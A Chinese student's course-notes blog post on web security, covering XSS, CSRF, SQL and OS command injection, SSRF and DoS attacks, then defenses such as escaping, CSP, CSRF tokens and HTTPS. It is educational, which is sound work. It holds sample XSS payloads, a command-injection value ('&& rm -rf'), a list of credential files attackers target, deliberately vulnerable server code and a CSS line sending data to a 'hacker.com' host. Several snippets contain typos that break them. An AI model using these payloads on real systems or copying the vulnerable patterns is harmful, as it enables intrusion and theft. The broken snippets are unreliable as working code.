Web安全知识知多少 | 青训营笔记
这是我参与「第四届青训营 」笔记创作活动的的第5天。
今天的课程是我一直很感兴趣的web安全,虽说感兴趣但未仔细了解过,正好借着这节课深入学习一下。
今天,我们将围绕着前端开发中网络编程的安全性展开,分为两方面:
- 从Hacker的角度会如何对网站进行攻击
(真刑啊!) - 从开发工程师的角度需要考虑如何防护
攻击篇
Web攻击模式
先来了解一下web的攻击模式,大致分为两大类,主动攻击和被动攻击。
下面内容结合了《图解HTTP》,我是看了这位老哥的文章Web前端安全内容 | 青训营笔记 - 掘金 (juejin.cn)之后,才去看一下这部分内容的,在书的第11章 Web的攻击技术,感兴趣的朋友可以去看一下。
1.主动攻击
主动攻击(active attack)是指攻击者通过直接访问 Web 应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。
主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击,下面会详细介绍。
2.被动攻击
被动攻击(passive attack)是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标 Web 应用访问发起攻击。
被动攻击模式中具有代表性的攻击是跨站脚本攻击XSS和跨站点请求伪造CSRF,下面也会有介绍。
这不就是防诈宣传里天天讲的不要点陌生链接和陌生二维码嘛oVO
攻击方式
跨站脚本攻击XSS ——被动攻击
- XSS是通过浏览器对存在安全漏洞的Web网站页面插入恶意交互脚本获取其他用户浏览器当前渲染的账户信息。
- 攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。
- XSS通常伪装成网站类似UI如弹窗表单,诱骗用户点击/填写表单,切去token/cookie等用户隐私,而且通常暗地执行脚本,难以从UI上察觉。
//存储式XSS
通过数据库注入,将恶意脚本伴随输入框插入数据库中。
定时访问页面,读取数据库数据发送到指定服务器。
存储式XSS是危害最大的XSS攻击
fetch("/submit",{
body:JSON.stringfy({
id:"1",
content:"<script>alert(“XSS”);</script>":
});
});
//响应式XSS
//直接从URL上携带参数攻击,涉及数据库
public async render(e){
const {params} = e.query;
e.status = 200;
e.body = '<div>${params}</div>'
}
//基于DOM的XSS
不需要服务器参与,通过浏览器发起、执行恶意脚本。
const content = new URL(location.href).searchParmas.get("params");
const div = document.createElement("div");
div.innerHTML = content;
documnet.body.append(div);
//基于渲染机制Mutation的XSS
利用了浏览器对DOM渲染的特性
不同的浏览器有有区别
<noscript><p title= "</noscript><img src=x onError=alert{1}>">
==>
<div>
<noscript><p title= "</noscript>
<img src=x onError=alert{1}>"
"">"
</div>
跨站点请求伪造CSRF ——被动攻击
- 跨站点请求伪造(Cross-Site Request Forgeries,CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新。
- 特性:① 用户没有直接访问请求页面,但是目标服务器对饮的接口被访问了,而且请求成功返回正常。
- CSRF-GET/POST请求 //攻击者只需要构造GET请求按钮、POST请求表单即可。
SQL Injection(SQL注入)攻击 ——主动攻击
- SQL Injection又叫做数据库注入,通常直接在请求体中写SQL参数或者SQL命令,以达到非法查看或修改数据库内的数据、规避认证、执行和数据库服务器业务关联的程序等目的。
- 注入攻击不仅可以用于SQL服务端,在CLI脚手架、OS命令行等都可以运用。
- SSRF(Server-Side Request Forgery)严格来说不算注入,但原理相似。
//通常直接在请求体参数中拼接SQL命令:
public async render(e){
const {account,dataForm} = e.query;
const res = await sql.query(`
SELECT a,b,c FROM table
WHERE account = ${account}
AND list = ${dataForm}
`);
e.body = render(res);
}
//请求api用书写字符串请求应该注意过滤
public async render(e){
const{img,option}=e.request.body;
exec(` convert-cli ${img} -o ${gif}`);
e.body = "ok";
}
fetch("/api",{
method: "POST",
body:JSON.stringfy({
option : `‘ && rm -rf xx`
})
})
//注入攻击者通常也会瞄准服务器的系统文件
/etc/passwd
/etc/shadow
./ssh
/etc/nignx/nignx.conf //流量攻击、使网站负载宕机
...
OS命令注入攻击 ——主动攻击
- OS命令注入攻击(OS Command Injection)是指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。
- OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。也就是说,通过OS注入攻击可执行OS上安装着的各种程序。
服务器端请求伪造SSRF ——被动攻击
-
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
-
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
-
请求用户自定义的回调接口 callback
-
web server 有内网权限
//访问callback===暴露内网信息 public async webhook(e){ //callback 可能是url //e.g. http://secret.com/get_employ_payrolls e.body = await fetch(e.query.callback) }
DoS攻击
-
DoS是Denial of Service的简称,即拒绝服务。最常见的DoS攻击有计算机网络宽带攻击和连通性攻击。
-
通过过载请求使得服务器资源被过度消耗而崩溃
-
案例:正则表达式:贪婪模式
const greedy = /a+/ ; const nogreedy = /a+?/ ; const e = "XXX" ; console.log(e.match(greedy)[0]); console.log(e.match(nogreedy)[0]) -
DoS攻击分类
- ReDoS:基于正则表达式的DoS:
- L-DoS (Logical DoS) 通常以循环执行逻辑、执行SQL登录、数据库写入、文件备份等大量耗时的同步操作。
- DDoS (Distributed DoS):通过服务器任意API直接访问IP,占用带宽使得服务器宕机。DDoS利用TCP的三次握手原理,反复来回交换数据占用带宽。
- 中间人攻击: 俗称“肉鸡”,利用Web的明文请求,无法验证请求端身份与其请求体是否含篡改内容。
-
DoS实现原理
- 要理解Dos攻击,首先要理解TCP连接的三次握手过程(Three-wayhandshake)。在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
- 第一次握手:建立连接时,客户端发送SYN包((SYN=i)到服务器,并进入SYN SEND状态,等待服务器确认;
- 第二次握手:服务器收到SYN包,必须确认客户的SYN (ACK=i+1 ),同时自己也发送一个SYN包((SYN=j)}即SYN+ACK包,此时服务器进入SYN_RECV状态;
-
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ACK=j+1) ,此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手,客户端与服务器开始传送数据。
半连接: 收到SYN包而还未收到ACK包时的连接状态称为半连接,即尚未完全完成三次握手的TCP连接。
所以它就是利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。
参考博客:
作者:用户5816796644665
DDoS攻击
-
分布式拒绝服务(DDoS)攻击是通过大规模互联网流量淹没目标服务器或其周边基础设施,以破坏目标服务器、服务或网络正常流量的恶意行为。
-
短时间内,来自大量僵尸设备的请求流量,服务器不能及时完成全部请求,导致请求堆积,进而雪崩效应,无法响应新请求。
-
DDoS实现原理
-
DDoS 攻击是通过连接互联网的计算机网络进行的。
-
这些网络由计算机和其他设备(例如 IoT 设备)组成,它们感染了恶意软件,从而被攻击者远程控制。这些个体设备称为机器人(或僵尸),一组机器人则称为僵尸网络。
-
一旦建立了僵尸网络,攻击者就可通过向每个机器人发送远程指令来发动攻击。
-
当僵尸网络将受害者的服务器或网络作为目标时,每个机器人会将请求发送到目标的 IP 地址,这可能导致服务器或网络不堪重负,从而造成对正常流量的拒绝服务。
-
由于每个机器人都是合法的互联网设备,因而可能很难区分攻击流量与正常流量。
参考博客:
-
DDos和Dos的区别
DoS攻击,是利用自己的计算机攻击目标,是一对一的关系;而DDoS攻击是在DoS攻击的基础之上,产生的一种新的攻击方式。
防御篇
XSS防御
-
永远不要信任用户提交的内容,即不要直接将用户内容转为动态DOM,而是用String形式储存。
-
当用户应用需求需要使用到动态DOM时间,应该设置逻辑对上传DOM和解析DOM进行转义 string -> DOM
new DOMOarse() -
对于svg文件的上传应该尤其的注意防护,svg文件可以内嵌js脚本
<svg><script>alert("xss")</script></svg> -
尽量不要允许用户自定义跳转(JS)、自定义样式也不行。
//自定义跳转 <a herf="javascript:alert(‘xss’)"> //自定义样式 input[type=radio].list-gtk:checked{ backgroud: url("https://hacker.com/api/?list-gtk") }
-
同源请求策略:
- 前端请求时应该保证与服务器的安全策略一致。
- 同源请求策略要求网页所在目录与请求接口域名一致,不一致则会发生跨域(CORS安全策略)。
- 对eval+inline script不生效
-
CSP
-
来自安全源(域名)的脚本可以运行,否则直接抛错
-
服务器响应头部
Content-Security-Policy:script-src 'self' //同源 Content-Security-Policy:script-src 'self' http://domain.com //支持跨域 -
浏览器meta
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
-
CSRF安全防御
-
通常网络请求有四种防御策略
- if 伪造请求 === 异常来源
- then 限制请求来源
- Origin 同源请求中,不发送GET+HEAD
- Referer
-
CSRF - token防护
-
除了Origin+Referrer 其他判断【请求来自于合法来源】的方式
-
先有页面,后有请求
- if 请求来自合法页面
- then 服务器接受页面请求
- then 服务器可以识别
-
token验证是通过唯一的加密信息码与用户绑定,每次请求都需要将这个加密码随着请求发送到服务器,服务器解密比对信息后判断是否是用户本人操作
-
token验证码会设置过期时间,避免token泄露
-
-
CSRF - iframe 攻击
- 当Origin被限制时,攻击者会将请求包在内作为子页面,即可突破同源
-
CSRF 防护
- 避免GET接口和POST接口合并等偷懒行为
- 防护SameSIte Cookie信息泄露,SameSite Cookie依赖于第三方的Cookie请求,需要允许第三方域名采集Cookie.
- 防御CSRF需要注意逐级施加权限限制
注入防护
-
SQL防护
- 最小原则:避免使用sudo || root 命令
- 建立ip白名单,拒绝异常rm操作
- 对URL类型参数、域名、IP加逻辑检验,限制异常请求———防范内网被突破
防范DoS
-
Regex DoS
- 减少允许用户使用正则表达式请求
- 增加校验, 对代码做扫描 +正则性能测试
-
Logical DoS
- 限流: 限制流量的异常波动,对于异常IP封锁。
- 并不是非黑即白: 有时候需要请求量超过阈值才能检测出L-DoS
- 分析代码的性能瓶颈:同步调用、串行逻辑、CPU密集操作
-
DDoS
- 过滤:负载均衡、API网关
- 抗量:CDN、快速扩容、 非核心服务降级备战
-
中间人防御
- HTTP特性: 可靠性-明文加密,完整性:MAC验证;不可抵赖性-数字签名
- HTTPS加密:在三次握手时进行hash加密,利用公钥和证书进行数字签名校验。
- 将HTTP主动升级到HTTPS:需要之前要有一次HTTPS访问
- 当静态资源被劫持篡改了,可以运用SRI对资源做hash验证。
总结:
安全无小事!请保持学习心态!
感兴趣的朋友可以进行深入学习